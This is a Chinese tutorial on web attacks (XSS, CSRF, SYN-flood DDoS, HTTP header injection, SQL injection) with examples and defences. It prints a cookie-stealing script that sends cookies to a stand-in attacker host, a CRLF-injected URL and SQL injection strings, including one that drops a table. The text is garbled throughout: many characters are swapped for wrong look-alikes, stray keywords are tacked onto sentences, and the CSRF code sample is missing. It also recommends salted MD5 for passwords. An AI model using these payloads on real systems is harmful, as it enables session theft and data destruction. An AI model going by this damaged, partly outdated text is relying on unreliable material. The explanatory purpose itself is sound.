跨站脚本攻击(XSS)
概述
跨站脚本攻击（XSS，Cross-site scripting），指攻击者在网页中嵌入恶意脚本程序，是最多见和基本的攻击WEB网站的方法。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时，特定的脚本就会以浏览者用户的身份和权限来执行。经过XSS能够比较容易地修改用户数据、窃取用户信息，以及形成其它类型的攻击，例如CSRF攻击javascript
案例
好比论坛，而后攻击者在某条帖子内发布回复，内容是这样的 <script>window.open(“www.gongji.com?param=”+document.cookie) </script> ,若是我没有对他的内容进行处理，直接存储到数据库，那么下一次当其余用户访问他的这篇文章的时候，服务器从数据库读取后而后响应给客户端，浏览器执行了这段脚本，而后就把该用户的cookie发送到攻击者的服务器了。php
解决方法
将输入可能当作脚本执行的进行转义，例如 将< 转义成<java
跨站请求伪造攻击（CSRF)
概述
跨站请求伪造（CSRF，Cross-site request forgery）是另外一种常见的攻击。攻击者经过各类方法伪造一个请求，模仿用户提交表单的行为，从而达到修改用户的数据，或者执行特定任务的目的。为了假冒用户的身份，CSRF攻击经常和XSS攻击配合起来作，但也能够经过其它手段，例如诱使用户点击一个包含攻击的连接sql
案例
银行网站A，它以GET请求来完成银行转帐的操做，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000数据库
危险网站B，它里面有一段HTML的代码以下：后端
首先，你登陆了银行网站A，而后访问危险网站B，噢，这时你会发现你的银行帐户少了1000块......浏览器
为何会这样呢？缘由是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的以前，你已经登陆了银行网站A，而B中 的<img>以GET的方式请求第三方资源（这里的第三方就是指银行网站了，本来这是一个合法的请求，但这里被不法分子利用了），因此你的浏 览器会带上你的银行网站A的Cookie发出Get请求，去获取资源“http://www.mybank.com /Transfer.php?toBankId=11&money=1000”，结果银行网站服务器收到请求后，认为这是一个更新资源操做（转帐 操做），因此就马上进行转帐操做......服务器
解决方法
一、采用POST请求（后端也设置成只能post请求）,增长攻击的难度.用户点击一个连接就能够发起GET类型的请求。而POST请求相对比较难，攻击者每每须要借助javascript才能实现cookie
二、之因此被攻击是由于攻击者利用了存储在浏览器用于用户认证的cookie，那么若是咱们不用cookie来验证不就能够预防了。因此咱们能够采用token（不存储于浏览器）认证。网络
DDOS攻击
概述
分布式拒绝服务攻击（Distributed Denial of Service），简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的，能够通俗理解，dos是单挑，而ddos是群殴，由于现代技术的发展，dos攻击的杀伤力下降，因此出现了DDOS，攻击者借助公共网络，将大数量的计算机设备联合起来，向一个或多个目标进行攻击。
案例
简单说一下tcp三次握手，客户端先服务器发出请求，请求创建链接，而后服务器返回一个报文，代表请求以被接受，而后客户端也会返回一个报文，最后创建链接。那么若是有这么一种状况，攻击者伪造ip地址，发出报文给服务器请求链接，这个时候服务器接受到了，根据tcp三次握手的规则，服务器也要回应一个报文，但是这个ip是伪造的，报文回应给谁呢，第二次握手出现错误，第三次天然也就不能顺利进行了，这个时候服务器收不到第三次握手时客户端发出的报文，又再重复第二次握手的操做。若是攻击者伪造了大量的ip地址并发出请求，这个时候服务器将维护一个很是大的半链接等待列表，占用了大量的资源，最后服务器瘫痪。
解决方法
一、最直接的方法增长带宽。可是攻击者用各地的电脑进行攻击，他的带宽不会耗费不少钱，但对于服务器来讲，带宽很是昂贵。
二、云服务提供商有本身的一套完整DDoS解决方案，而且能提供丰富的带宽资源
Http Heads攻击
概述
凡是用浏览器查看任何WEB网站，不管你的WEB网站采用何种技术和框架，都用到了HTTP协议.HTTP协议在Response header和content之间，有一个空行，即两组CRLF（0x0D 0A）字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者能够利用这一点。只要攻击者有办法将任意字符“注入”到 headers中，这种攻击就能够发生
案例
以登录为例:有这样一个url:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex
当登陆成功之后，须要重定向回page参数所指定的页面。下面是重定向发生时的response headers.
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/index
假如把URL修改一下，变成这个样子： http://localhost/loginpage=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E
那么重定向发生时的reponse会变成下面的样子：
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/checkout<CRLF>
<CRLF>
<script>alert('hello')</script>
这个页面可能会意外地执行隐藏在URL中的javascript。相似的状况不只发生在重定向（Location header）上，也有可能发生在其它headers中，如Set-Cookie header。这种攻击若是成功的话，能够作不少事，例如：执行脚本、设置额外的cookie（<CRLF>Set-Cookie: evil=value）等。
解决方法
过滤全部的response headers，除去header中出现的非法字符，尤为是CRLF。
服务器通常会限制request headers的大小。例如Apache server默认限制request header为8K。若是超过8K，Aapche Server将会返回400 Bad Request响应
对于大多数状况，8K是足够大的。假设应用程序把用户输入的某内容保存在cookie中,就有可能超过8K.攻击者把超过8k的header连接发给受害者,就会被服务器拒绝访问.解决办法就是检查cookie的大小,限制新cookie的总大写，减小因header过大而产生的拒绝访问攻击
SQL注入
概念
经过sql命令假装成正常的http请求参数，传递到服务器端，服务器执行sql命令形成对数据库进行攻击
案例
' or '1'= '1。这是最多见的sql注入攻击，当咱们输如用户名 jiajun ，而后密码输如'or '1'= '1的时候，咱们在查询用户名和密码是否正确的时候，原本要执行的是select * from user where username='' and password='',通过参数拼接后，会执行sql语句 select * from user where username='jaijun' and password=' ' or ' 1'='1 '，这个时候1=1是成立，天然就跳过验证了。
可是若是再严重一点，密码输如的是';drop table user;--，那么sql命令为select * from user where username='jiajun' and password='';drop table user;--' 这个时候咱们就直接把这个表给删除了
被攻击的缘由
sql语句伪造参数，而后在对参数进行拼接的后造成破坏性的sql语句，最后致使数据库受到攻击
预防
在java中，咱们可使用预编译语句(PreparedStatement)，这样的话即便咱们使用sql语句伪形成参数，到了服务端的时候，这个伪造sql语句的参数也只是简单的字符，并不能起到攻击的做用。
不少orm框架已经能够对参数进行转义
作最坏的打算，即便被’拖库‘('脱裤，数据库泄露')。数据库中密码不该明文存储的，能够对密码使用md5进行加密，为了加大破解成本，因此能够采用加盐的（数据库存储用户名，盐（随机字符长），md5后的密文）方式。